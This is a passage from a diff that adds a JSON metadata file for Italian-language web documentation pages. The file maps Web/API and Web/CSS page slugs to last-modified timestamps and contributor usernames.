+    ]
+  },
+  "Web/API/Geolocation/Using_geolocation": {
+    "modified": "2019-03-18T21:46:47.006Z",
+    "contributors": [
+      "robertopinotti"
+    ]
+  },
+  "Web/API/Geolocation/watchPosition": {
+    "modified": "2019-03-18T21:46:55.440Z",
+    "contributors": [
+      "robertopinotti"
+    ]
+  },
+  "Web/API/GeolocationPosition": {
+    "modified": "2019-12-10T11:03:48.479Z",
+    "contributors": [
+      "chrisdavidmills",
+      "robertopinotti"
+    ]
+  },
+  "Web/API/GlobalEventHandlers": {
+    "modified": "2019-03-23T22:04:41.955Z",
+    "contributors": [
+      "chrisdavidmills"
+    ]
+  },
+  "Web/API/GlobalEventHandlers/onresize": {
+    "modified": "2019-03-23T22:04:51.035Z",
+    "contributors": [
+      "fareilweb"
+    ]
+  },
+  "Web/API/HTMLCanvasElement": {
+    "modified": "2019-03-23T22:27:54.708Z",
+    "contributors": [
+      "Mathkute"
+    ]
+  },
+  "Web/API/HTMLCanvasElement/toBlob": {
+    "modified": "2019-03-23T22:04:57.927Z",
+    "contributors": [
+      "ssava"
+    ]
+  },
+  "Web/API/HTMLCollection": {
+    "modified": "2020-10-15T22:11:22.825Z",
+    "contributors": [
+      "IsibisiDev"
+    ]
+  },
+  "Web/API/HTMLCollection/item": {
+    "modified": "2020-10-15T22:11:26.893Z",
+    "contributors": [
+      "IsibisiDev"
+    ]
+  },
+  "Web/API/HTMLElement": {
+    "modified": "2019-04-18T23:22:28.058Z",
+    "contributors": [
+      "IsibisiDev",
+      "teoli",
+      "jsx",
+      "klez"
+    ]
+  },
+  "Web/API/HTMLElement/offsetHeight": {
+    "modified": "2019-03-18T20:58:53.365Z",
+    "contributors": [
+      "SphinxKnight",
+      "DLuPi",
+      "mautrok"
+    ]
+  },
+  "Web/API/HTMLFormElement": {
+    "modified": "2019-03-23T23:45:13.519Z",
+    "contributors": [
+      "teoli",
+      "khalid32",
+      "Federico",
+      "DaViD83"
+    ]
+  },
+  "Web/API/HTMLFormElement/acceptCharset": {
+    "modified": "2019-03-23T23:45:06.067Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/HTMLFormElement/action": {
+    "modified": "2019-03-23T23:45:09.260Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/HTMLFormElement/elements": {
+    "modified": "2019-03-23T23:41:38.107Z",
+    "contributors": [
+      "teoli",
+      "arunpandianp",
+      "DaViD83"
+    ]
+  },
+  "Web/API/HTMLFormElement/enctype": {
+    "modified": "2019-03-23T23:45:07.772Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/HTMLFormElement/length": {
+    "modified": "2019-03-23T23:45:12.308Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/HTMLFormElement/method": {
+    "modified": "2019-03-23T23:45:11.223Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/HTMLFormElement/name": {
+    "modified": "2019-03-23T23:45:05.688Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/HTMLFormElement/reset": {
+    "modified": "2019-03-23T23:45:07.858Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/HTMLFormElement/submit": {
+    "modified": "2019-03-23T23:45:09.078Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/HTMLFormElement/target": {
+    "modified": "2019-03-23T23:45:12.633Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/HTMLIFrameElement": {
+    "modified": "2019-07-30T13:28:27.031Z",
+    "contributors": [
+      "rainydio"
+    ]
+  },
+  "Web/API/HTMLUnknownElement": {
+    "modified": "2020-10-15T22:17:30.215Z",
+    "contributors": [
+      "IsibisiDev"
+    ]
+  },
+  "Web/API/IndexedDB_API": {
+    "modified": "2019-03-27T08:42:23.353Z",
+    "contributors": [
+      "tommyblue",
+      "unziojack"
+    ]
+  },
+  "Web/API/MutationObserver": {
+    "modified": "2020-10-15T22:10:44.906Z",
+    "contributors": [
+      "frappacchio"
+    ]
+  },
+  "Web/API/Navigator": {
+    "modified": "2019-03-23T23:01:39.014Z",
+    "contributors": [
+      "wbamberg",
+      "teoli"
+    ]
+  },
+  "Web/API/Navigator/cookieEnabled": {
+    "modified": "2019-03-23T23:16:26.897Z",
+    "contributors": [
+      "teoli",
+      "jsx",
+      "Ruggi"
+    ]
+  },
+  "Web/API/Navigator/credentials": {
+    "modified": "2020-10-15T22:09:03.582Z",
+    "contributors": [
+      "fredmaggiowski"
+    ]
+  },
+  "Web/API/NavigatorConcurrentHardware": {
+    "modified": "2020-10-15T22:17:43.299Z",
+    "contributors": [
+      "music-thetale"
+    ]
+  },
+  "Web/API/Node": {
+    "modified": "2020-10-15T22:09:53.341Z",
+    "contributors": [
+      "ikemo"
+    ]
+  },
+  "Web/API/Node/appendChild": {
+    "modified": "2020-10-15T22:17:30.429Z",
+    "contributors": [
+      "IsibisiDev"
+    ]
+  },
+  "Web/API/Node/lastChild": {
+    "modified": "2020-10-15T22:13:58.693Z",
+    "contributors": [
+      "IsibisiDev"
+    ]
+  },
+  "Web/API/Node/nextSibling": {
+    "modified": "2020-10-15T22:14:02.013Z",
+    "contributors": [
+      "IsibisiDev"
+    ]
+  },
+  "Web/API/Node/previousSibling": {
+    "modified": "2020-10-15T22:13:58.654Z",
+    "contributors": [
+      "IsibisiDev"
+    ]
+  },
+  "Web/API/NodeList": {
+    "modified": "2020-10-15T22:00:23.657Z",
+    "contributors": [
+      "IsibisiDev",
+      "giacar"
+    ]
+  },
+  "Web/API/NodeList/forEach": {
+    "modified": "2020-10-15T22:19:59.717Z",
+    "contributors": [
+      "IsibisiDev"
+    ]
+  },
+  "Web/API/ParentNode": {
+    "modified": "2020-10-15T22:13:14.638Z",
+    "contributors": [
+      "ExE-Boss"
+    ]
+  },
+  "Web/API/ParentNode/children": {
+    "modified": "2020-10-15T22:13:17.341Z",
+    "contributors": [
+      "IsibisiDev"
+    ]
+  },
+  "Web/API/ParentNode/firstElementChild": {
+    "modified": "2020-10-15T22:17:20.523Z",
+    "contributors": [
+      "IsibisiDev"
+    ]
+  },
+  "Web/API/ParentNode/lastElementChild": {
+    "modified": "2020-10-15T22:17:20.462Z",
+    "contributors": [
+      "IsibisiDev"
+    ]
+  },
+  "Web/API/Performance": {
+    "modified": "2020-10-15T22:10:46.200Z",
+    "contributors": [
+      "fscholz",
+      "frappacchio"
+    ]
+  },
+  "Web/API/Performance/now": {
+    "modified": "2020-10-15T22:13:16.615Z",
+    "contributors": [
+      "Rufis01"
+    ]
+  },
+  "Web/API/Range": {
+    "modified": "2019-03-23T23:45:07.167Z",
+    "contributors": [
+      "teoli",
+      "soumya",
+      "Federico",
+      "Todarogiovanni",
+      "DaViD83"
+    ]
+  },
+  "Web/API/Range/cloneContents": {
+    "modified": "2019-03-23T23:46:37.810Z",
+    "contributors": [
+      "teoli",
+      "jsx",
+      "Federico"
+    ]
+  },
+  "Web/API/Range/cloneRange": {
+    "modified": "2019-03-23T23:44:58.754Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Range/collapse": {
+    "modified": "2019-03-23T23:44:56.406Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Range/collapsed": {
+    "modified": "2019-03-23T23:44:55.708Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Range/commonAncestorContainer": {
+    "modified": "2019-03-23T23:45:00.555Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Range/compareBoundaryPoints": {
+    "modified": "2019-03-23T23:45:00.370Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Range/comparePoint": {
+    "modified": "2019-03-23T23:45:06.170Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Range/createContextualFragment": {
+    "modified": "2019-03-23T23:45:13.109Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Range/deleteContents": {
+    "modified": "2019-03-23T23:46:37.314Z",
+    "contributors": [
+      "teoli",
+      "jsx",
+      "Federico"
+    ]
+  },
+  "Web/API/Range/detach": {
+    "modified": "2019-03-23T23:44:57.076Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Range/endContainer": {
+    "modified": "2019-03-23T23:45:00.639Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Range/endOffset": {
+    "modified": "2019-03-23T23:45:03.942Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Range/extractContents": {
+    "modified": "2019-03-23T23:46:35.754Z",
+    "contributors": [
+      "teoli",
+      "jsx",
+      "Federico"
+    ]
+  },
+  "Web/API/Range/insertNode": {
+    "modified": "2019-03-23T23:46:35.932Z",
+    "contributors": [
+      "teoli",
+      "arunpandianp",
+      "Federico"
+    ]
+  },
+  "Web/API/Range/isPointInRange": {
+    "modified": "2019-03-23T23:45:10.129Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Range/selectNode": {
+    "modified": "2019-03-23T23:44:57.862Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Range/selectNodeContents": {
+    "modified": "2019-03-23T23:44:56.541Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Range/setEnd": {
+    "modified": "2019-03-23T23:45:00.267Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Range/setEndAfter": {
+    "modified": "2019-03-23T23:44:55.536Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Range/setEndBefore": {
+    "modified": "2019-03-23T23:45:00.463Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Range/setStart": {
+    "modified": "2019-03-23T23:42:37.319Z",
+    "contributors": [
+      "teoli",
+      "Todarogiovanni"
+    ]
+  },
+  "Web/API/Range/setStartAfter": {
+    "modified": "2019-03-23T23:45:02.951Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Range/setStartBefore": {
+    "modified": "2019-03-23T23:45:04.772Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Range/startContainer": {
+    "modified": "2019-03-23T23:45:05.282Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Range/startOffset": {
+    "modified": "2019-03-23T23:45:12.949Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Range/surroundContents": {
+    "modified": "2019-03-23T23:46:34.486Z",
+    "contributors": [
+      "teoli",
+      "khalid32",
+      "Federico"
+    ]
+  },
+  "Web/API/Range/toString": {
+    "modified": "2019-03-23T23:45:04.241Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Selection": {
+    "modified": "2019-03-23T23:46:46.823Z",
+    "contributors": [
+      "nicokant",
+      "teoli",
+      "khalid32",
+      "DR",
+      "Federico",
+      "DaViD83"
+    ]
+  },
+  "Web/API/Selection/addRange": {
+    "modified": "2019-03-23T23:46:48.819Z",
+    "contributors": [
+      "teoli",
+      "khalid32",
+      "Federico"
+    ]
+  },
+  "Web/API/Selection/anchorNode": {
+    "modified": "2019-03-23T23:46:46.999Z",
+    "contributors": [
+      "teoli",
+      "jsx",
+      "Federico"
+    ]
+  },
+  "Web/API/Selection/anchorOffset": {
+    "modified": "2019-03-23T23:46:54.697Z",
+    "contributors": [
+      "teoli",
+      "khalid32",
+      "Federico"
+    ]
+  },
+  "Web/API/Selection/collapse": {
+    "modified": "2019-03-23T23:47:02.507Z",
+    "contributors": [
+      "teoli",
+      "jsx",
+      "Federico"
+    ]
+  },
+  "Web/API/Selection/collapseToEnd": {
+    "modified": "2019-03-23T23:46:50.665Z",
+    "contributors": [
+      "teoli",
+      "khalid32",
+      "Federico"
+    ]
+  },
+  "Web/API/Selection/collapseToStart": {
+    "modified": "2019-01-16T16:00:26.825Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Selection/containsNode": {
+    "modified": "2019-03-23T23:46:48.446Z",
+    "contributors": [
+      "teoli",
+      "jsx",
+      "Federico"
+    ]
+  },
+  "Web/API/Selection/deleteFromDocument": {
+    "modified": "2019-03-23T23:46:53.555Z",
+    "contributors": [
+      "teoli",
+      "AshfaqHossain",
+      "basemnassar11",
+      "Federico"
+    ]
+  },
+  "Web/API/Selection/extend": {
+    "modified": "2019-03-23T23:46:53.275Z",
+    "contributors": [
+      "teoli",
+      "khalid32",
+      "Federico"
+    ]
+  },
+  "Web/API/Selection/focusNode": {
+    "modified": "2019-03-23T23:46:46.664Z",
+    "contributors": [
+      "teoli",
+      "jsx",
+      "DR",
+      "Federico"
+    ]
+  },
+  "Web/API/Selection/focusOffset": {
+    "modified": "2019-03-23T23:46:53.044Z",
+    "contributors": [
+      "teoli",
+      "jsx",
+      "Federico"
+    ]
+  },
+  "Web/API/Selection/getRangeAt": {
+    "modified": "2019-03-23T23:44:56.321Z",
+    "contributors": [
+      "teoli",
+      "Ruggi",
+      "Federico"
+    ]
+  },
+  "Web/API/Selection/isCollapsed": {
+    "modified": "2019-03-23T23:46:54.286Z",
+    "contributors": [
+      "teoli",
+      "khalid32",
+      "DR",
+      "Federico"
+    ]
+  },
+  "Web/API/Selection/rangeCount": {
+    "modified": "2019-03-23T23:46:54.197Z",
+    "contributors": [
+      "teoli",
+      "jsx",
+      "DR",
+      "Federico"
+    ]
+  },
+  "Web/API/Selection/removeAllRanges": {
+    "modified": "2019-03-23T23:46:51.490Z",
+    "contributors": [
+      "teoli",
+      "jsx",
+      "Federico"
+    ]
+  },
+  "Web/API/Selection/removeRange": {
+    "modified": "2019-03-23T23:46:52.407Z",
+    "contributors": [
+      "teoli",
+      "jsx",
+      "Federico"
+    ]
+  },
+  "Web/API/Selection/selectAllChildren": {
+    "modified": "2019-03-23T23:46:50.989Z",
+    "contributors": [
+      "teoli",
+      "jsx",
+      "Federico"
+    ]
+  },
+  "Web/API/Selection/toString": {
+    "modified": "2019-03-23T23:46:47.771Z",
+    "contributors": [
+      "teoli",
+      "khalid32",
+      "DR",
+      "Federico"
+    ]
+  },
+  "Web/API/Storage": {
+    "modified": "2019-09-20T06:23:52.261Z",
+    "contributors": [
+      "sturmer"
+    ]
+  },
+  "Web/API/Storage/clear": {
+    "modified": "2019-03-23T22:08:34.106Z",
+    "contributors": [
+      "matteolongo"
+    ]
+  },
+  "Web/API/Storage/getItem": {
+    "modified": "2019-03-23T22:07:28.911Z",
+    "contributors": [
+      "azanatta"
+    ]
+  },
+  "Web/API/Storage/setItem": {
+    "modified": "2019-09-20T06:22:40.087Z",
+    "contributors": [
+      "sharq",
+      "nandowalter",
+      "robertopinotti"
+    ]
+  },
+  "Web/API/URLUtils": {
+    "modified": "2019-03-23T23:01:38.757Z",
+    "contributors": [
+      "teoli"
+    ]
+  },
+  "Web/API/WebGL_API": {
+    "modified": "2020-10-15T22:34:13.570Z",
+    "contributors": [
+      "robertsillo"
+    ]
+  },
+  "Web/API/WebSocket": {
+    "modified": "2020-10-15T22:21:40.095Z",
+    "contributors": [
+      "sideshowbarker"
+    ]
+  },
+  "Web/API/WebSocket/WebSocket": {
+    "modified": "2019-08-01T02:54:10.157Z",
+    "contributors": [
+      "SphinxKnight",
+      "shintakawa"
+    ]
+  },
+  "Web/API/Window": {
+    "modified": "2019-03-23T23:41:37.229Z",
+    "contributors": [
+      "lvzndr",
+      "teoli",
+      "khalid32",
+      "DaViD83"
+    ]
+  },
+  "Web/API/Window/alert": {
+    "modified": "2019-03-23T23:45:07.588Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Window/back": {
+    "modified": "2019-03-23T23:44:59.600Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Window/blur": {
+    "modified": "2019-03-23T23:45:10.222Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Window/close": {
+    "modified": "2020-10-15T21:41:40.994Z",
+    "contributors": [
+      "SphinxKnight",
+      "luigi.quarta"
+    ]
+  },
+  "Web/API/Window/closed": {
+    "modified": "2019-03-23T23:45:06.616Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Window/confirm": {
+    "modified": "2020-09-16T06:37:39.424Z",
+    "contributors": [
+      "DarioSacco",
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Window/crypto": {
+    "modified": "2019-03-23T22:40:34.995Z",
+    "contributors": [
+      "luigi.quarta"
+    ]
+  },
+  "Web/API/Window/defaultstatus": {
+    "modified": "2019-03-23T23:45:05.869Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Window/devicemotion_event": {
+    "modified": "2019-04-11T18:36:04.208Z",
+    "contributors": [
+      "estelle",
+      "fscholz",
+      "ExplosiveLab"
+    ]
+  },
+  "Web/API/Window/document": {
+    "modified": "2019-03-23T23:45:06.723Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Window/focus": {
+    "modified": "2019-03-23T23:45:07.264Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Window/forward": {
+    "modified": "2019-03-23T23:45:08.676Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Window/getSelection": {
+    "modified": "2019-03-23T23:46:39.366Z",
+    "contributors": [
+      "jsx",
+      "teoli",
+      "mimzi_fahia",
+      "Ruggi",
+      "Federico"
+    ]
+  },
+  "Web/API/Window/history": {
+    "modified": "2019-03-23T23:45:08.885Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Window/home": {
+    "modified": "2019-03-23T23:44:57.169Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Window/localStorage": {
+    "modified": "2019-05-08T11:23:19.757Z",
+    "contributors": [
+      "farturi",
+      "Taletex",
+      "Peppuz"
+    ]
+  },
+  "Web/API/Window/locationbar": {
+    "modified": "2019-03-23T23:45:08.987Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Window/matchMedia": {
+    "modified": "2019-03-23T22:56:20.018Z",
+    "contributors": [
+      "giancarlo"
+    ]
+  },
+  "Web/API/Window/moveBy": {
+    "modified": "2019-03-23T23:45:06.833Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Window/moveTo": {
+    "modified": "2019-03-23T23:45:08.786Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Window/name": {
+    "modified": "2019-03-23T23:44:57.275Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Window/onuserproximity": {
+    "modified": "2020-10-15T22:13:21.435Z",
+    "contributors": [
+      "cam0347"
+    ]
+  },
+  "Web/API/Window/opener": {
+    "modified": "2019-03-23T23:45:05.974Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Window/orientationchange_event": {
+    "modified": "2019-04-02T12:01:28.415Z",
+    "contributors": [
+      "fscholz",
+      "afalchi82"
+    ]
+  },
+  "Web/API/Window/print": {
+    "modified": "2019-03-23T23:44:55.181Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Window/prompt": {
+    "modified": "2019-03-23T23:45:08.519Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Window/requestAnimationFrame": {
+    "modified": "2020-10-15T22:10:48.306Z",
+    "contributors": [
+      "frappacchio"
+    ]
+  },
+  "Web/API/Window/resizeBy": {
+    "modified": "2019-03-23T23:45:09.646Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Window/resizeTo": {
+    "modified": "2019-03-23T23:45:06.497Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Window/sessionStorage": {
+    "modified": "2019-03-18T21:10:48.383Z",
+    "contributors": [
+      "sharq",
+      "bwlt",
+      "ale-rt",
+      "Belio"
+    ]
+  },
+  "Web/API/Window/sidebar": {
+    "modified": "2019-03-23T22:02:58.914Z",
+    "contributors": [
+      "IsaacSchemm"
+    ]
+  },
+  "Web/API/Window/sizeToContent": {
+    "modified": "2019-03-23T23:45:12.715Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Window/status": {
+    "modified": "2019-03-23T23:45:05.405Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Window/statusbar": {
+    "modified": "2019-03-23T23:45:11.669Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Window/stop": {
+    "modified": "2019-03-23T23:45:04.684Z",
+    "contributors": [
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/API/Window/top": {
+    "modified": "2019-03-23T22:56:44.582Z",
+    "contributors": [
+      "brakko"
+    ]
+  },
+  "Web/API/WindowOrWorkerGlobalScope": {
+    "modified": "2020-10-15T22:04:42.998Z",
+    "contributors": [
+      "fscholz"
+    ]
+  },
+  "Web/API/WindowOrWorkerGlobalScope/fetch": {
+    "modified": "2020-10-15T22:04:43.287Z",
+    "contributors": [
+      "iruy"
+    ]
+  },
+  "Web/API/WindowTimers": {
+    "modified": "2019-03-23T22:33:10.851Z",
+    "contributors": [
+      "aragacalledpat"
+    ]
+  },
+  "Web/API/WindowTimers/clearInterval": {
+    "modified": "2019-03-23T22:33:02.364Z",
+    "contributors": [
+      "lorenzopieri"
+    ]
+  },
+  "Web/API/Worker": {
+    "modified": "2020-10-15T22:05:05.715Z",
+    "contributors": [
+      "rainst"
+    ]
+  },
+  "Web/API/XMLHttpRequest": {
+    "modified": "2020-10-15T21:18:25.293Z",
+    "contributors": [
+      "fscholz",
+      "ivorykeys",
+      "teoli",
+      "ethertank",
+      "Federico"
+    ]
+  },
+  "Web/API/XMLHttpRequest/Usare_XMLHttpRequest": {
+    "modified": "2019-09-22T07:49:44.300Z",
+    "contributors": [
+      "chkrr00k",
+      "valerio-bozzolan",
+      "teoli",
+      "Andrea_Barghigiani"
+    ]
+  },
+  "Web/API/XMLHttpRequest/XMLHttpRequest": {
+    "modified": "2020-01-22T12:40:19.899Z",
+    "contributors": [
+      "sock-et"
+    ]
+  },
+  "Web/API/XMLHttpRequest/onreadystatechange": {
+    "modified": "2019-03-23T22:11:52.690Z",
+    "contributors": [
+      "fedebamba"
+    ]
+  },
+  "Web/API/XMLHttpRequest/open": {
+    "modified": "2019-03-18T21:39:53.888Z",
+    "contributors": [
+      "valerio-bozzolan"
+    ]
+  },
+  "Web/API/XMLHttpRequest/readyState": {
+    "modified": "2019-03-18T21:17:26.042Z",
+    "contributors": [
+      "fedebamba"
+    ]
+  },
+  "Web/API/notifiche": {
+    "modified": "2019-03-18T20:57:39.827Z",
+    "contributors": [
+      "francymin",
+      "Mascare"
+    ]
+  },
+  "Web/API/notifiche/dir": {
+    "modified": "2020-10-15T22:17:29.488Z",
+    "contributors": [
+      "Belingheri"
+    ]
+  },
+  "Web/Accessibility": {
+    "modified": "2019-09-09T14:13:55.035Z",
+    "contributors": [
+      "SphinxKnight",
+      "mipo",
+      "PyQio",
+      "klez"
+    ]
+  },
+  "Web/Accessibility/Sviluppo_Web": {
+    "modified": "2019-03-23T23:18:40.805Z",
+    "contributors": [
+      "klez"
+    ]
+  },
+  "Web/CSS": {
+    "modified": "2020-01-15T05:51:31.675Z",
+    "contributors": [
+      "Pardoz",
+      "SphinxKnight",
+      "massic80",
+      "sginestrini",
+      "teoli",
+      "jmc",
+      "Grino",
+      "ethertank",
+      "Federico",
+      "bradipao",
+      "Indigo",
+      "DaViD83"
+    ]
+  },
+  "Web/CSS/-moz-font-language-override": {
+    "modified": "2019-03-23T23:28:40.117Z",
+    "contributors": [
+      "teoli",
+      "lboy"
+    ]
+  },
+  "Web/CSS/-webkit-overflow-scrolling": {
+    "modified": "2020-10-15T22:09:13.015Z",
+    "contributors": [
+      "zeroerrequattro"
+    ]
+  },
+  "Web/CSS/:-moz-first-node": {
+    "modified": "2019-03-23T23:48:44.707Z",
+    "contributors": [
+      "teoli",
+      "Zibibbo84"
+    ]
+  },
+  "Web/CSS/:-moz-last-node": {
+    "modified": "2019-03-23T23:48:40.245Z",
+    "contributors": [
+      "teoli",
+      "Zibibbo84"
+    ]
+  },
+  "Web/CSS/:-moz-list-bullet": {
+    "modified": "2019-03-23T23:48:40.552Z",
+    "contributors": [
+      "teoli",
+      "Zibibbo84"
+    ]
+  },
+  "Web/CSS/::selection": {
+    "modified": "2019-03-23T22:13:07.331Z",
+    "contributors": [
+      "Winni-",
+      "Swear"
+    ]
+  },
+  "Web/CSS/:active": {
+    "modified": "2020-10-15T22:29:19.196Z",
+    "contributors": [
+      "Pardoz"
+    ]
+  },
+  "Web/CSS/:focus": {
+    "modified": "2020-10-15T22:29:43.751Z",
+    "contributors": [
+      "Pardoz"
+    ]
+  },
+  "Web/CSS/:hover": {
+    "modified": "2020-10-15T22:29:45.329Z",
+    "contributors": [
+      "Pardoz"
+    ]
+  },
+  "Web/CSS/@document": {
+    "modified": "2019-03-23T23:48:44.142Z",
+    "contributors": [
+      "teoli",
+      "Zibibbo84"
+    ]
+  },
+  "Web/CSS/Attribute_selectors": {
+    "modified": "2020-10-15T22:29:45.918Z",
+    "contributors": [
+      "Pardoz"
+    ]
+  },
+  "Web/CSS/CSS_Box_Model": {
+    "modified": "2019-03-23T22:05:15.030Z",
+    "contributors": [
+      "mfluehr"
+    ]
+  },
+  "Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model": {
+    "modified": "2019-03-23T22:05:16.040Z",
+    "contributors": [
+      "mipo"
+    ]
+  },
+  "Web/CSS/CSS_Flexible_Box_Layout": {
+    "modified": "2019-03-18T21:16:43.477Z",
+    "contributors": [
+      "teoli"
+    ]
+  },
+  "Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes": {
+    "modified": "2019-03-18T20:58:13.071Z",
+    "contributors": [
+      "KadirTopal",
+      "ATrogolo",
+      "fscholz",
+      "Renatvs88"
+    ]
+  },
+  "Web/CSS/CSS_Positioning": {
+    "modified": "2020-05-29T22:27:05.116Z"
+  },
+  "Web/CSS/CSS_Positioning/Understanding_z_index": {
+    "modified": "2020-05-29T22:27:05.339Z"
+  },
+  "Web/CSS/Cascade": {
+    "modified": "2019-03-18T21:16:55.672Z",
+    "contributors": [
+      "itektopdesigner"
+    ]
+  },
+  "Web/CSS/Guida_di_riferimento_ai_CSS": {
+    "modified": "2020-04-22T10:36:23.257Z",
+    "contributors": [
+      "xplosionmind",
+      "Pardoz",
+      "teoli",
+      "tregagnon",
+      "Federico"
+    ]
+  },
+  "Web/CSS/Media_Queries": {
+    "modified": "2019-03-23T22:04:20.173Z",
+    "contributors": [
+      "mipo"
+    ]
+  },
+  "Web/CSS/Mozilla_Extensions": {
+    "modified": "2019-03-23T23:48:43.276Z",
+    "contributors": [
+      "teoli",
+      "Zibibbo84"
+    ]
+  },
+  "Web/CSS/Pseudo-classes": {
+    "modified": "2020-05-10T13:50:36.157Z",
+    "contributors": [
+      "Pardoz"
+    ]
+  },
+  "Web/CSS/Ricette_layout": {
+    "modified": "2019-03-18T21:23:52.893Z",
+    "contributors": [
+      "Yoekkul"
+    ]
+  },
+  "Web/CSS/Type_selectors": {
+    "modified": "2020-10-15T22:29:37.496Z",
+    "contributors": [
+      "Pardoz"
+    ]
+  },
+  "Web/CSS/Universal_selectors": {
+    "modified": "2020-10-15T22:29:42.104Z",
+    "contributors": [
+      "Pardoz"
+    ]
+  },
+  "Web/CSS/background": {
+    "modified": "2019-03-24T00:08:46.545Z",
+    "contributors": [
+      "SphinxKnight",
+      "teoli",
+      "Yuichiro",
+      "Federico"
+    ]
+  },
+  "Web/CSS/background-attachment": {
+    "modified": "2019-03-23T23:53:59.091Z",
+    "contributors": [
+      "SphinxKnight",
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/CSS/background-color": {
+    "modified": "2019-03-23T23:28:12.389Z",
+    "contributors": [
+      "SphinxKnight",
+      "teoli",
+      "Yuichiro",
+      "Federico"
+    ]
+  },
+  "Web/CSS/background-image": {
+    "modified": "2019-03-23T23:18:31.669Z",
+    "contributors": [
+      "SphinxKnight",
+      "teoli",
+      "Federico"
+    ]
+  },
+  "Web/CSS/background-position": {
+    "modified": "2019-03-24T00:00:19.111Z",
+    "contributors": [
+      "massic80",
+      "teoli",
+      "pbrenna"
+    ]
+  },
+  "Web/CSS/background-repeat": {
+    "modified": "2019-03-24T00:00:20.041Z",
+    "contributors": [
+      "SphinxKnight",
+      "teoli",
+      "pbrenna"
+    ]
+  },
+  "Web/CSS/border": {
+    "modified": "2019-03-24T00:00:20.561Z",
+    "contributors": [
+      "teoli",
+      "pbrenna"
+    ]
+  },
+  "Web/CSS/border-bottom": {
+    "modified": "2019-03-24T00:00:16.438Z",
+    "contributors": [
+      "teoli",
+      "pbrenna"
+    ]
+  },
+  "Web/CSS/border-style": {
+    "modified": "2020-10-15T21:55:36.905Z",
+    "contributors": [
